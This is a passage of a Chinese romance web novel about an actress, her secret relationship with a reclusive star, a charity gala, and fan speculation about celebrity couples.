本来就是创刊，想收割的自然是最大的自然流量，将江遥换成程绪，只要脑子没坏的人，都知道怎么选。至于对江遥这边的承诺，人在江湖，自然能找到一个两全的办法。而且这样，杂志社成了过错方，江遥后续的利益，争取起来肯定会更自然。比如，要求下次拍摄选择她档期合适的时候，一点都不是什么过分的请求。
江遥在脑中拨了拨算盘，不管怎么想，这都是一个不错的解决办法。但是……她一点儿也不想他这样干。为了自己自降身价，原本的工作安排也得相应跟着做调整，他本来就很忙了，这本杂志的咖位，和他一点都不符合。
在没有意识到的时候，她已经将他供在了高处，那是不容世俗沾染的角落。但她来不及想那么多，只是坚定摇摇头，“我问问Susie时间能不能往后挪。”
江遥拿起手机，时间已经显示是晚上十点，她不抱希望地点开微信，下滑寻找Susie的头像。扫到小鱼，突然灵光一闪。
有了！小鱼一直说她皮肤没什么瑕疵，也就需要偶尔盖盖黑眼圈之类的，选的产品，压根没什么遮瑕力度。
她放下手机，起身往衣帽间走。程绪为她准备的衣服，一直挂在衣帽间里没有搬走。当初她说，“没事，懒得搬，我要穿上你这儿拿。”果然，现在也确实方便了她。
程绪跟着进来，就看到江遥正背对着门在换衣服，白嫩的肌肤上，脖颈、前胸，落着鲜明的印记和指痕。旖旎的心思跑了个无影无踪，他暗骂了声：“真不是个人。”
江遥招呼他，“快换衣服，送我去趟商场。”
两人直奔柜台，要了几套宣称遮瑕力度最高的产品，又风风火火地往回奔。
好在，一晚上也没有白折腾。江遥重新在程绪房间洗了个澡，窝在他怀中。清冷的雪松气息萦绕在鼻端，她嗅了嗅，不是沐浴露的味道。江遥扒拉着他的手指，“你香水用的什么牌子？”
“嗯？”程绪反应慢了半拍，“我没有用香水。”
好吧，原来是一只松柏妖。江遥又往他怀里钻了钻，程绪伸手抱住她不安分的身子，拥紧手臂，暖暖的人儿蜷缩在臂弯，将他的整个身心填满。
鸡飞狗跳一通忙活，倒冲淡了之前的尴尬。两人靠在一起，莫名其妙笑出声。
江遥揉了揉眼睛，跟他说：“晚安。”
程绪手在她背上拍了拍，轻声哄道：“睡吧，晚安。”
第二天的拍摄顺利度过，谁也没有看出什么，只是江遥不自觉地遮遮掩掩，总觉得有那么一丝心虚。小鱼还惊奇地感叹：“姐，你今天怎么这么淑女。”
江遥横过去一眼：“说什么呢，我一直走的这个风格。”
之后几天，两人也安分地没有再多动，或许准确来说，只是程绪单方面的。江遥马上要进组，他吃一堑长一智，安分地不敢再多动。江遥却丝毫没有客气，上下其手，直叫人叫苦不迭。当然，当事人并没有觉得苦就对了。
江遥被按倒在床上，程绪恶狠狠低下头，轻轻在她唇上咬了一口，江遥咯咯笑着，“我都不怕你怕什么。”
程绪沉着脸，将她卷上去的衣服拉好，“别闹了，早点睡。”
江遥翻了个白眼，朝他放狠话：“我跟你说，你这样会失去我的。”
不知道刺激到他哪根神经，程绪惩罚似的，舌根吸得又疼又重，江遥还在努力挣扎：“呜……呜……我就要……缩……”
“嘶。”是裙子裂开的声音。
江遥看着飘落在地板上的睡裙，对上上方那双漆黑的眼睛。江遥没见过他这样的表情，在他的凝视中，蜷了蜷脚趾，额，好像有点玩过火了。
程绪翻身下床，从衣帽间给她拿了件新衣服，江遥愣愣接住，看他转身，关门，一气呵成。
不一会儿，浴室传来水声，更多的，她已听不清。
程绪重新躺下的时候，江遥已经睡了过去。她闭着眼睛，是一副安静的模样。但睁开眼睛，却能将人折腾得不轻。她迷迷糊糊听到动静，循着记忆往程绪怀里滚，程绪轻轻哈气，将手暖热，才伸手去搂她的腰。
娇俏的、可爱的、灵动的、妩媚的、恼人的……她的标签一直在翻新，但那又如何，不管何种模样，她都是属于他的，不会再被人抢走。
江遥也没想到，会在自己的组里再次见到方琦。签合同的时候，剧方告知她的女二明明是另一位的。江遥其实对那人并不算熟，只知道小鱼评价说，低调、不作妖。
这年头，能做到这几个字的人已经很难得，不管在哪个组，总有或多或少的小摩擦，小心点儿就好。但有方琦存在，那或许，接下来的日子，可就不是一点小摩擦能概括的了。
小鱼和她抱着同样的想法，“故意给咱找不痛快来的吧。”但也没有更好的办法，合同都已经签下，再怎么样，也只能先过完这两个月了。
跟他们想的不
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同，方琦这次似乎真的转了性，几天下来安安静静，也不试图和江遥来演什么姐妹情，江遥乐得轻松。
小鱼却不放心，“俗话说，狗改不了吃屎，话糙理不糙，咱们还是得多留点心。”
江遥点头，“防人之心不可无，我懂。”
这天收工后，江遥卸了妆回酒店休息，走到路口，才发现手机不小心落在了化妆间。她赶忙回去拿，刚还大敞着大方门口，现在紧紧闭着，她正想往前，突然，门内传来尖锐的女声。
“那你让我怎么办！”声音尖细得有点变形，但还是不难听出，是方琦的声音。
江遥脚步一顿，这个点大家都已经收工，她走的时候化妆间已经没有其他人，方琦估计也没想到这个点门外还有人，声音一点也没控制，带着点歇斯底里。
“你之前都答应的好好的，事情成了就想一脚踢开我？我跟你说，咱们谁也别好过！”不知道对面是谁，能逼得惯常笑脸迎人的方琦表面功夫都不想做。
江遥想敲门，又怕打扰了她的发挥，准备找个地方坐着等一等，没想到方琦又换了一副腔调，缓和了语气，“朱总，之前是我不懂事，对对，您说的没错，是我人心不足，两头都想捞，我求求你，再给我一次机会好不好。张导那边我已经断得干干净净，以后只能仰仗您了。”
之前私下流传的八卦，没想到还能有幸听到当事人口述，电话对面，想必就是上次爆出来的男朋友？江遥干脆靠在门口，光明正大听起了墙角。不知道对面又说了什么，方琦明显被哄好了，她兴奋地说：“嗯嗯好，就这么说定了，我一定办好。”
江遥等了几分钟，房间里一直没有其他更多的响动，她站直身子，敲了敲门，门从里面打开，露出方琦的面容。
她估计也是没想到来人是江遥，堆起的笑脸一下子垮下来，不冷不热地哼了声。没有外人在的场合，两人已经连表面功夫都不想做。或者应该说，不知道什么时候起，方琦单方面放弃了和江遥演姐妹情深。比如现在，她只是冷冷地瞥了她一眼，踩着高跟鞋，扬长而去。那眼神，像是在看什么廉价的破布，带着高高在上的怜悯。
江遥也很佩服她这变脸的功夫，短短几分钟，凄厉、无助、欢喜、高高在上都被集中演绎，可惜，只是一台没有观众的戏。
第二天，有投资商来探班。不怪大家对投资商充满刻板印象，今天来的这几位，秃顶、啤酒肚基本二中有一，又或者两者兼得，在这样一群特色鲜明的人中，标准身材的朱富春，显得无比鹤立鸡群。
导演给大家做介绍，江遥上前跟他握手，朱富春捏着她的指尖，虚虚一握，“江小姐，幸会。”江遥含着笑，矜持地听大家寒暄。
相比而言，方琦可就大方许多，穿花蝴蝶一般，陪着导演周旋在各大投资人之间。
朱富春也没避讳他们认识，在方琦端着酒杯敬酒的时候，笑道：“方小姐还是这么有意思。”
方琦举杯一口饮尽：“朱总，以后我们可就仰仗您了。”
多么熟悉的台词。江遥心说，原来是这个朱总。
86. 同台
新的通告单发到手里，江遥明天有三场戏。她四点起床化妆，开门的时候，正好撞见醉醺醺上楼的方琦，方琦眼神已经有点迷离，根本看不清站在眼前的人是谁。助理匆匆冲江遥点头，搀扶着她进了自己房间。
整个上午，都没有再看到方琦，她的戏份，全部挪后。晚上收工的时候，有风声传到江遥耳里：方琦身体不适，已经在今天下午离组。
女二号突然要换，影响说大不大说小不小，还好剧组刚开机，损失还在可承受范围。但哪有刚好合适的演员顶上来，这才是个大问题。就在大家以为会停工几天的时候，新的女二在次日就进了组。
新的女二叫龚贝儿，是个甜美型的女演员。刚来的第一天，她甜笑着，将剧组的人认了个遍。俗话说伸手不打笑脸人，但有些话还是在私下流传。听说这个龚贝儿是某投资商的新宠，方琦被踢掉，就是因为资方要塞人，她不识趣占了不该占的位置。
这种说法得到大家的广泛认同，毕竟龚贝儿此前一直查无此人，估计也只是跑一些龙套角色，这一上来就演女二，背后没点什么猫腻鬼信呢。江遥听到只是笑笑，那天在楼下，她其实见到了朱富春的车。前一晚共度春宵，人刚送回就迫不及待遣走，她叹了口气，娱乐圈的潜规则，也真让人看不懂了。
和甜美外表不相符的是，龚贝儿每天最早出工，收工后，没有她的戏份，她更多时候也是在剧组待着，勤勤恳恳仿佛一个刚刚得到机会的底层打工人。
导演对她的表现很是欣慰，大手一挥，给剧组放了四天假，集中把之前落下的戏份补拍掉。
四天假期不算少，Susie知道她突然空出来这么个档期，又紧急给她接了个活动。
江遥无语，Susie不慌不忙：“之前是谁说超出三天的假期就可以让我看着安排的。”
江遥噎住，好像是有点耳熟，Susie最后还不忘敲打她一下，“我看你现在是心思不在这上面了。”
Susie说的这个活动，每次举办，都能出动半个娱乐圈的人站台，活动所得全部捐赠给慈善机构，不管是曝光度还是口碑都可兼得。主办方的邀请函其实早早就发到了她手上，只是此前江遥档期冲突，Susie不得不替她推掉。
江遥随她调侃，“行，你看着安排吧。”
行程就这么定下，活动时间是在第三天晚上。还好，B市飞A城也就几个小时的时间，江遥在第一天定了最早的航班，程绪在十点接到江遥。
“你什么时候来的？”江遥坐上车，忍不住捂嘴打了个哈欠。一上飞机，她就直接拉上眼罩睡了过去，现在困意正上头。
“刚到。”程绪拉过安全带给江遥系上，摸了摸她发红的眼眶，“怎么困成这样。”
江遥红着眼睛看了他一眼，没有回答。原本两人就聚少离多，多出来的假期，本来就是意外之喜，时间只能一点点挤。
程绪握了握她的手：“你先眯一会儿，回家吃了饭再睡。”
江遥睁着眼睛摇头：“睡不着了，你今天不去公司吗？”
程绪轻声应她：“嗯，有人看着，乱不了。”
江遥笑：“你可得好好工作才行哇，我还靠你吃饭呢。”
轻音娱乐沉寂一阵后，这些天在业内打响了名头。曾经主要以艺人经纪为主的公司，如今在向影视制作靠拢。公司的当家艺人之前已经全部解约或出走，留下来的，现有的资源已经足够养活。去除冗余的人事，它有了起死回生之势。
江遥工作室和轻音娱乐签约，刘灵泠第一时间发来消息，话语里是掩饰不住的激动，粉丝将她照片做成表情包，说转发这个锦鲤，下一个追星赢家就会是自己。
也有人担心，江遥这一步会不会只是念旧之举，并没有经过深思熟虑。其实，当事人还真没有空闲来关心这些，江遥正对着满桌子的美食大快朵颐。
今天中午吃的是粤菜，刘阿姨特意跟广东的老姐妹学的，她说，这是目前最拿得出手的几样。
江遥很捧场，一个凤爪下肚，又夹了根虾米红肠，粉嫩的皮包裹着鲜嫩的虾仁，味道也和卖相一样可口。
江遥吃了个七分饱，就放下筷子。程绪跟着看过来，“饱了？”
江遥靠着椅背，摸了摸肚皮，“其实还能吃点，不过明天要试装，还是悠着点的好，不然穿礼服被拍到，下一秒就得造谣我怀孕了。”
程绪目光跟着落在她的肚子上，今天她穿的是修身款的衣服，小腹一片平坦，干净的小脸上，透着健康的红润。她还像个孩子般，很难想象，未来，或许会有棵小树苗，在这里落地、发芽，包容着一个新生命的成长。
他挪开视线，听到江遥问：“我跟你说过吧，后天晚上我有安排了。”
程绪咳了咳：“嗯。”行程定下后，她就第一时间跟他提了。
他说：“我也收到了邀请函。”
江遥疑惑，仿佛在说你在说什么废话，圈内哪个活动，没给你发邀请函。
程绪读懂她的表情，告诉她说：“我答应了。”
“什么？！”江遥以为自己听错。
程绪拉住她的胳膊，防止她撞到桌角，又重复了一遍：“后天的慈善晚宴，我已经答应出席了。本来晚宴的目的就是为了做公益，所有善款都会落到真正需要的人手里，正好我有时间，也想出自己的一份力。”
他冠冕堂皇的话语，将江遥到嘴的话堵了回去。这么说其实也没错，整个晚宴群星云集，不管大家抱着怎样的目的，对外的口风都很统一——做公益。就目前官宣的阵容而言，咖位与流量齐飞，程绪现身，倒不会显得太过突兀。
江遥的礼服是Susie挑的，特意选的较为低调的白色，但不管如何低调的礼服，穿在她身上，就很难和低调挂钩。
九月天气已经开始有点微冷，早晚温差大，室外的风吹在身上，激起一层层的鸡皮疙瘩。江遥裹着外套，在后台候场。
今天的场子算得上是熟人聚会，宴池、汪静静、曾芜、徐婉宁等老友都齐聚现场，江遥的出场顺序在比较
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靠后的位置，大家一起唠嗑，倒也不算无聊。
宴池看到江遥，上来就给了她一个大大的拥抱，后台瞬间响起“哇”地一声惊呼，有工作人员掏出手机对准两人，咔咔拍照。江遥拍着他的胳膊，“你放开我，裙子都要被你压起褶了。”
宴池给她扯了扯裙摆，“谁让你一直不理我，活该。”
江遥好笑道：“真的是工作忙，我们行程很少能对上。”
宴池不买账：“那你有空跟汪静静吃饭。”
汪静静站了几米远也被无辜牵连，干脆加入进来，意味深长地看了江遥一眼，反驳他：“这是说的什么话，真重色轻友我可就不干啦。”
他们闹成一团，丝毫不顾忌他人在场，明晃晃的亲近和信赖，那是外人插不进去的氛围。苏远安低下眉，不忍再看。江遥的身边有一个圈，曾经，他也在里面。
今天的红毯很长，走完全程加拍照采访，少说没有十分钟结束不了，小鱼托着裙摆，小声说，“姐，你等会儿走快点。”
江遥看着脚上八公分的高跟鞋，抱了抱胳膊，“我尽量。”
主持人的问题中规中矩，聊到最后，又cue到她的新作，江遥随机抓了几个关键词，谈了谈自己对作品的感受，主持人在一旁捧场地点头。也许是气氛太过松弛，说到女主择偶观时，主持人脱口而出，“那么你理想的另一半是怎样的呢？有没有和她相似的地方？”
这个问题，她还真没想过。
摄像机围成一圈，真实地记录下现场发生的一切。屏幕里，女人瞳孔微缩，嘴角轻扬，不细看，很难捉住那一瞬的愣怔。显然，这题超纲了。
司机提醒，“到了。”
主持人说完马上意识到不对，正想开口补救，江遥愣了下，又迅速反应过来，握着话筒，思考着开口，“……小时候可能是比较喜欢对我好的，但现在呢，我觉得，或许是要能够坚定选择我的。至于这个角色……”
主持人舒了口气，也不敢再做过多发散，“那祝江老师新电影票房大卖，早日收获属于自己的幸福，接下来……”
后面还有什么人江遥没再关注，她拐进内场，在工作人员引导下，找到自己的位置入坐。整个内场已经坐得差不多，只有他们这桌，还有旁边的席位还空着。
程绪今天确定出席，但网络上似乎还没有爆出他会来的消息。为避免引发骚动和过多关注，他的红毯部分直接取消，商定只出席内场活动。
江遥扫了眼周边，没看到人。宴池见她从坐下就在那儿走神，凑近她提醒：“现在还在直播。”
弹幕上，瑶池cp粉嗷嗷开嗑。江遥挺直脊背，微笑着回应四周的招呼。
活动正式开始，内场灯光暗下来，线上直播也同步切断。全场注意力集中在舞台上，江遥挺着背，跟着大家转头看向前方。
黑暗中，一行人悄悄出现在身旁，工作人员在前面引路，招呼着大家依次落座。
熟悉的味道擦着耳畔飘过，江遥轻笑着，维持着原本的动作。
87. 晚宴
主持人激情四射地调动着场内的气氛，台下，还是爆发了不小的骚动。
久不露面的顾声和销声匿迹的程绪一起出现，是合作的前兆，还是单纯主办方面子大？大家心里难免犯嘀咕，但都是圈内有头有脸的人物，好奇也只能装作不动声色。
自然有人不想放过这难得的机会，挤到顾声面前毛遂自荐，“顾导您好，听说您下一部戏快开了，不知道有没有适合我的角色，希望到时候能给我留个面试的机会。”
好不容易逮到程绪这小子，结果一茬茬的人往跟前冒，顾声只好笑着打哈哈，“下部电影八字还没一撇，有消息一定对外公布。”
又有人挤到程绪面前，笑着问好：“程老师好，您还记得我吗？我们之前……”不愧是选秀歌手出身，娇滴滴的嗓音听得人不自觉跟着心软，她正想回忆一下和程绪相识的过往，旁边一位女士夸张地抖了抖身上的鸡皮疙瘩，不过程绪看起来并不吃这一套。他淡淡地撩起眼皮，冲他们点了下头。
备好的腹稿，直接被这漠然的眼神噎了回去，四周都是窥探的视线，姑娘笑容一顿，又自己给自己找台阶：“程老师您先忙，我就不打扰了。”
直播突然中断，粉丝们刚打算饱餐一顿，莫名被人抽走餐盘，急得各平台乱蹿，犄角旮旯的消息都逃不过庞大粉丝群体的探测。
某平台上，一条没有具体指向性的帖子突然火了。帖主原文只是单纯感慨一下：“天呐！！！”但奈何定位是晚会现场，底下评论清一色都是“放个耳朵”、“跟我说说”诸如此类的。热度持续发酵，有在现场的姐妹心照不宣地评论区打起哑谜：
「差点以为自己没睡醒！！」
「这一趟来值了。」
粉丝急得抓耳挠腮，帖主才意有所指地回复：「不好意思，刚刚见到男神，不小心有点激动。」
能出现在这种活动现场的，基本大大小小的艺人也见过不少，谁能让他们突然一致发疯？大家默契地想起一个人。
有人确认：「C？」一分钟后，帖主赞了这条评论。
程绪出席慈善晚宴的消息，在接下来的几分钟里，快速登上各平台高位。
活动现场，围在周边的人已经散了大半。顾声又送走几个前来打探消息的人，心想还是这张脸好用。谁想上前周旋，都得在心里掂量下，是否受得了这张冷脸。而且，人家也并不是单独针对谁，一视同仁地点头回应，只是那眼里，确实看不到谁的存在。
这一桌坐的都是老艺术家，程绪身处其中，过于年轻的面容，让他看起来显得格格不入，但谁也不会质疑，他为什么会坐在这里。
这一边，宴池捂着嘴跟江遥嘀咕：“走，我们也去打个招呼。”
江遥玩着手机，“要去你去。”
宴池眉头跳了跳，看穿她眉眼间的抗拒，身子往她这边挪了挪，捂着嘴小声问：“他还在骚扰你呢？”
自从去年在她门口碰到程绪后，他越想越不对，一直暗暗悬着心呢，只是程绪不在圈子里露面，此后和江遥也没有更多交集，时间久了，他也就松懈了。本来以为这事就这么过去，但看江遥的反应，其中应该还有什么他不知道的隐情。
宴池顿了顿，又怏怏坐回去，“那我也不去了。”
江遥无语，不得不佩服他敏锐的第六感，只是事实和他脑补的稍微有点偏差。她暗灭屏幕，起身笑说：“走吧。”
宴池的个性本来就爱热闹，江遥跟在一边，听他欢欢喜喜和各位老师寒暄，她就只是负责微笑，偶尔说上几句场面话，一点不用担心冷场。坐在顾声旁边的赵霞，在获得国际影后之前，和宴池有过合作，宴池不着痕迹地，从妆容打扮到作品演技，直将人夸得心花怒放。
嘴甜的人谁不喜欢，赵霞想到家中那八竿子打不出一个屁的逆子，越看宴池越觉得乖巧，连带着旁边的江遥，都越发眉清目秀了起来，忍不住感慨，“多登对啊……”
宴池眼神往旁边瞄了眼，笑着看向江遥，江遥嘴唇动了动，正想推脱过去。有相熟的演员打着哈哈，调侃赵霞，“果然是年纪到了，就都有这当红娘的爱好。”她拉着江遥的手，“瞧瞧，小姑娘都被你说得不好意思了。”
桌上霎时响起友好的起哄声，气氛莫名被抬了起来。在坐的都是年纪大得能当父母的长辈，公众场合也不能直接给人没脸。江遥低着头，不懂他们是怎么能将无语的表情解读成羞愧的。看来就算在娱乐圈，也少不了保媒拉纤。
“咳咳……咳……”正端着杯子喝水的顾声，冷不丁被吓了一跳，一口水呛到气管，咳得撕心裂肺的。
程绪伸手过来，在他背上拍了怕，顾声脸憋得通红，还在一个劲地咳，桌上众人纷纷看过来，江遥也关心地上前，帮他顺着气，“顾导，好点了吗？”
好一会儿，顾声终于平息下来，无力地摆摆手，“我没事。”
程绪放下手，抬头，和宴池的眼神对上。宴池翘着嘴角，开心地打招呼：“程老师好！”不知道的以为他们多熟，刚刚是谁还在背后嘀咕，江遥简直被尬住，悄悄往左边挪了一步。微小的动静被一双眸子锁住，江遥头皮一紧，跟着叫，“程老师好。”
程绪视线看过来，又像并没有落在他们身上，他看着虚空的一点，嘴唇微微抿着。江遥又笑着开口，“好久不见了。”
不同于之前那小姑娘，江遥语气没有丝毫亲昵之处，像是熟悉的老朋友，见面后相互问候。赵霞插嘴问：“哟，你们也认识呢。”
真是一瞌睡就有人递枕头，江遥笑着说：“之前有幸和程老师合作过。”
程绪对她略一点头，算是打招呼。
得，看起来也并不熟。江遥讨了个没趣，倒也不觉得尴尬，又和一旁的顾声问好。
可能是刚才江遥热心出手，让顾声对她印象还不错，他像是一个慈祥的长者，问了问江遥在拍什么戏，又说年轻人得劳逸结合，多注意休息。江遥乖乖巧巧，他说什么就应什么。
程绪搓了搓刚被蹭到的手，摸出手机，按了几下。
与此同时，江遥手中的手机“嗡”地震了下，她克制着脸上的表情，和顾声又聊了两句
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后，回了自己的位置。
手机里，躺着程绪发来的消息，说等会儿要先走。江遥低下头，给他回复：「嗯，位置发我。」
又略坐了会儿，江遥起身去洗手间，小鱼跟着出来。江遥对着镜子补了补口红，跟小鱼说：“再待五分钟我们就走。”
小鱼比了个手势，“好的。”
又有新的消息进来，程绪说：「你可以再多玩会儿。」
江遥回：「知道了。」
江遥抽了张纸，擦干手上的水珠，刚刚走出洗手间，就看到不远处，有人正朝这边走。
是个熟人。
女人一身白裙，清透的妆容让她整个人显得愈发年轻和水灵，岁月并没有在她脸上留下痕迹。但是时间，一晃已经过了许多年。
苏远安确信，她刚刚看了他一眼，但也仅仅只是一眼，和看路边的任何一个生物并无区别。江遥脚下没有停留，只有高跟鞋的声音，在照得发亮的地面上“笃笃”响着。
两人相向而行，声音越来越近、越来越近，交错，又“笃笃”着走远了。苏远安忍不住回头，他从来都是站在她身后，看她头也不回地朝前走。她说，分手后不要做朋友，于是这么多年，他都是其忠实的执行者。如果就这样背道而驰，是不是总有一天，她会彻底消失在他的世界。
他看着她的背影，感觉到自己正被一种巨大的恐慌攫住，迫使他忍不住开口：“遥遥。”粗哑的声音，像是生锈的机器，因为无人打理，一动，就满是年久失修的声音，刮得人耳朵生疼。
曾经叫过千百遍的名字，再次从舌尖吐出，过往甜蜜不再，唯余苦涩。
江遥停住脚步，苏远安往前追了两步，再次唤她：“遥遥。”
小鱼警惕地望了他一眼，见江遥没有动作，默默退到不远处，让江遥在自己视线范围，又听不清他们具体在说什么。
江遥瞥了眼四周，问他：“有事吗？”
苏远安冲她温和一笑：“好久没见了，有时间叫上汪静静，老同学一起聚聚。”
江遥眉眼间的不耐差点压不住，这人半夜三更在搞什么，不过好歹是公众场合，她耐着性子跟他说：“我不参加同学聚会的。”准确来说，毕业之后到现在，一次也没有参加过。她知道，应该会有不少人私下说她眼高于顶、耍大牌等等，沉寂的那几年，跳出来阴阳怪气的也不是没有。但那又如何，真真假假，有时候不需要分得太清楚。
苏远安估计也没想到她这么直白，顿了顿，接着发起邀约：“那等你空了，咱俩一起吃个饭？”
江遥拒绝地更干脆：“免了谢谢。”疏离的语气，并没有协商的空间。
不远处，小鱼抬起手，点了点手腕的位置，提醒江遥，时间到了。
江遥放下抱着点手，“叮咚”一声，手机进来新消息。她怕没有及时收到消息，刚刚把声音打开了。划开，刚刚还让她多玩玩的人，这会儿又追来一条：「真不来了？」看看时间，也才过了几分钟。嘴角的笑有点难压，她干脆放任它上扬，回复他的消息：「等我！」
88. 理想对象
刚刚还带着丝不耐的脸上，瞬间被耀眼的笑意占据。是谁，在屏幕那头说了什么？苏远安忍不住猜测，家人、朋友、或者……男朋友？
他仔细去看她的眼，却只能看到她静静垂下的睫毛，清亮的眼眸，正一眨不眨地盯着屏幕。在他面前，她完全没有掩饰自己的想法。或许他应该觉得欣慰，她一直是这样。
苏远安清楚地听到自己一脚踏空的巨响，小鱼见他们停下交谈，快步走上前，“姐，我们该走了。”
江遥收起手机，点点头。
苏远安攥着拳头，暗暗告诫自己，有些事，不必问出口。这么多年，你早已没资格再说什么。但有些情绪，并不受理智所控。“你是不是……恋爱了？”他听到自己的声音响起，轻不可闻，像是一声叹息，在空气里失了真。
江遥抬起的脚步一顿，侧头看他。斯文干净的男人，脸上带着点恍惚的神情，一贯温和的面孔，像是被雾隔开一层。从前的他，总能被她一眼看透，而现在，她已经没有耐心琢磨。
“笃笃笃……”又有高跟鞋的声音接近，江遥什么都没说，收拾表情，带着小鱼往外走。看清来人，蓦地笑了。她朝身后努了努下巴，“喏，有人正找你呢。”说完，匆匆远去了。苏远安呆呆站在原地，看她毫不留恋地走出视线。
汪静静实在受不了他脸上那表情，抱着手臂幽幽提醒，“这死样子摆给谁看呢，你自己想演偶像剧也别连累人。”
话语中的讥诮毫不掩饰，苏远安敛了面容，问她是否方便一起吃个饭，汪静静翻了个白眼，“你的饭我可不敢指望。”
江遥回到位置的时候，程绪已经不见了，甚至连顾声，都已经提前离席。宴池注意到她的眼神，嬉笑着问：“顾导走了好一会儿了，怎么，你也想溜？”
江遥说：“我还有点事儿。”
宴池拿起外套：“一起走，正好我也懒得坐。”
活动接近尾声，每张桌上基本都有空位留出，大家行程紧张，主办方也不会过分强求。江遥和曾芜打了招呼，跟着宴池一起离开。
坐上保姆车后，江遥报了地址，何为安静开着车。
江遥看着窗外倒退的夜色，想起来刚刚分别的时候，宴池收起嬉笑的表情，低声说的那句：“我看到了。”
看到了什么？江遥想问，琴姐一把将宴池推进保姆车，落下车窗抱歉地冲她笑，“不好意思，赶飞机。”
车子到达目的地，小鱼问，“明天要来接你吗？”
江遥想了想：“直接机场汇合。”
华丽的女明星褪去礼服裙，一身低调的颜色，弯腰上了等在路边的车。程绪安静地倚在后排，江遥坐进去，问他：“顾导跟你一起走的？没找个地方再坐坐？”
“没什么聊的。”程绪牵了她的手，声音听起来懒懒的。
江遥摸了摸他的脸，关切地问：“是不是觉得很无聊。”
“还好，开会有时候也是听一群人大吵。”
江遥默了默，实在没想到还能这样做比较。探过身，在他唇上亲了下，“下次咱不去了。”程绪心念一动，揽着她的腰，顺势吻了下去。
顾声坐在车上，鼻子哼哼出着气，驾驶位的司机见状，好笑道：“谁又惹您生气啦。”
顾声哼了声，亏他还暗戳戳等着人介绍，结果有人女朋友都差点被人拐走了，还坐在那里装面瘫，亏他机智出手，结果人家倒好，一点都不领情。
他越想越不得劲，一个电话追过去。
刚燃起的气氛被刺耳的铃声打断，江遥低喘着提醒，“电话。”
程绪摸出手机看了眼，挂断。他捧着她的脸，“专心点。”
“嘿——”顾声等了半天，只等到那头机械的提示音，“你小子，挂我电话是吧，我再打。”
突兀的声音再次响起，江遥飘摇的意识又被拖住，她推开程绪，“说不定有什么急事呢。”
程绪伸手直接按了关机，吻了吻她的眼皮，“不是重要的事。”
晚上十一点，程绪回拨电话，本以为会面对顾声暴跳如雷的质问，谁知道对面的人似乎完全忘了这回事，“我没什么事……哦那个啊……是我不小心按错了。”
顾太太听到声音，得意地朝他使了个眼色：我就说吧，床头打架床尾和。
江遥洗澡出来，见他还在打电话，坐到床上，随手拿了本杂志翻了翻。从前放财经杂志的位置，现在摆满了时尚和八卦相关的刊物，她抬头看他一眼，程绪掀开被子上床，和顾声说：“那您早点休息。”
“嗯嗯，你也是，注意劳逸结合。”顾声乐呵呵挂了电话，顾太太摇头笑笑，“你这老头，真是越活越回去了。人家床头打架床尾和，不知道你在瞎掺和什么。”
顾声搂上她的肩膀，两人又说了会儿话，顾太太眼皮忍不住开始打架，顾声又摇了摇她：“老婆，我演技到底哪里一般了？”
这一晚上还睡不睡了，顾太太回身拍了他一下，“你一个导演，跟人比什么演技，还让不让别人吃饭了。”顾声想想确实是那么回事，也没了追究的心思，“算了，睡觉。”
车上到底空间有限，而且知道有外人在场，江遥做不到完全将人忽略。虽然挡板隔绝掉了声音和视线，但怎么说呢，还是有种偷情的感觉。灯光暗下，这一夜，才是他们的主场。
网友也不愿停止这场狂欢，程绪出席的消息，在榜一待了几小时后，一直没有图频流出，热度慢慢降了下去。这种大型活动，自然也少不了各类女星比美的新闻，营销号们铆足马力换着花样挑唆，奈何这次江遥确实美得过于突出，各评论区都被清一色的言论占住，粉丝想吵都找不到地下脚，各家工作室自然也不愿当别家艺人都踏脚石，马不停蹄各种打点，比美的词条也纷纷消失不见。
最后，只剩瑶池CP稳稳占据热搜高位。宴池后台替江遥提裙摆的图片，杀出重围，成功荣获CP粉们的一致好评。杨越看着CP超话新换的头像，在告诉老板和不告诉老板之间，叹了又叹。眼巴巴跟着过去，怎么一张同框图都没有捞到。<
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p>瞧瞧，人家这连视频都剪出来了。杨越又叹了口气，搓了搓胳膊，给自己做了几次心理暗示，才鼓起勇气点开这个名叫“你是我的人间理想”的视频。画面最开始还挺正常，是江遥在今天晚宴上的采访，后面就开始不对劲了，几分钟的视频里，将江遥和程绪从年少走来的图片和视频剪辑到一起，宴池声援江遥的微博，也成了“坚定选择”的有力证据。故事到最后，以今天拎裙摆的图片定格。
怎么办，好像确实有点好嗑。杨越左右望了望，明明在自己家里，这莫名心虚的感觉是怎么回事。
视频是凌晨发酵的，等他再次醒来，习惯性打开微博看看，#你是我的人间理想#已经蹿到了热搜第三。营销号直接剽窃CP粉的创意，将不同人的采访剪辑到了一起。原本CP向的剪辑，成了正儿八经的采访合集。
杨越拍拍胸脯，松下一口气。又认真拉了一遍进度条，采访视频里，除了江遥，竟然还有自己老板的面孔，不过看装扮，应该是前几年的视频。主持人问他理想的另一半是怎样，有没有固定标准，程绪想了许久，回答：“没有。”
弹幕里一片“哈哈哈哈，没有这么认真干什么”，杨越却知道，这句话还有后续。沉吟了几秒后，程绪身子往前倾了倾，“不过我想，她应该是阳光、聪颖、执着，又有点顽皮。”主持人笑笑，“很可爱的女孩子。”程绪点头，“希望我能有机会碰到。”
弹幕又是厚厚的一片。
「突然懂了为什么都说他和孟棠真过了，这不妥妥刚出道时候的孟棠吗？」
「糖絮都辟谣多少回了，能不能尊重一下当事人的想法。」
「以我多年追星的经验来看，说这么具体，一看就是有真人才这么说的啊。」
「这也算具体吗，随便拎出来一个女的，都能对应上好吧，人家就是随口糊弄下还有人当真了。」
屏幕前的杨越，看着滚动的弹幕，陷入了新一轮的迷惑：江老师她……顽皮吗？老板不会真的还有个什么他不知道的初恋白月光吧。看人家苏远安，理想的另一半就是以初恋为模板的。不过话说回来，真那么喜欢当初又分掉干嘛。
江遥听到这句话的时候，是在剧组的酒店里。她完全没想到，简单一个采访也能被剪出来全网扩散，她又仔细听了下，还好自己当初没有说什么不该说的话。在她后面，紧接着出现的是苏远安的脸，主持人的问题还是大同小异，苏远安的答案也并不新奇。他说，理想的另一半是自己的初恋。
圈内有部分人，会千方百计遮掩自己的感情状况，这样坦然承认过往的恋情，其实很不利于吸女友粉。但不得不说他审美还挺好，小鱼撇撇嘴，谈过这样的女朋友，谁不会有点曾经沧海的感慨呢。不过早就被甩开的前任，过多的存在感就没有必要了。她假装咳了两声，待江遥望过来，提醒道：“姐你该睡了，明天八点我来叫你。”
江遥：“……你不是刚说过？”
小鱼茫然，“啊？我说过了？那你记得早点休息，我先回去睡了。”
89. 喝醉
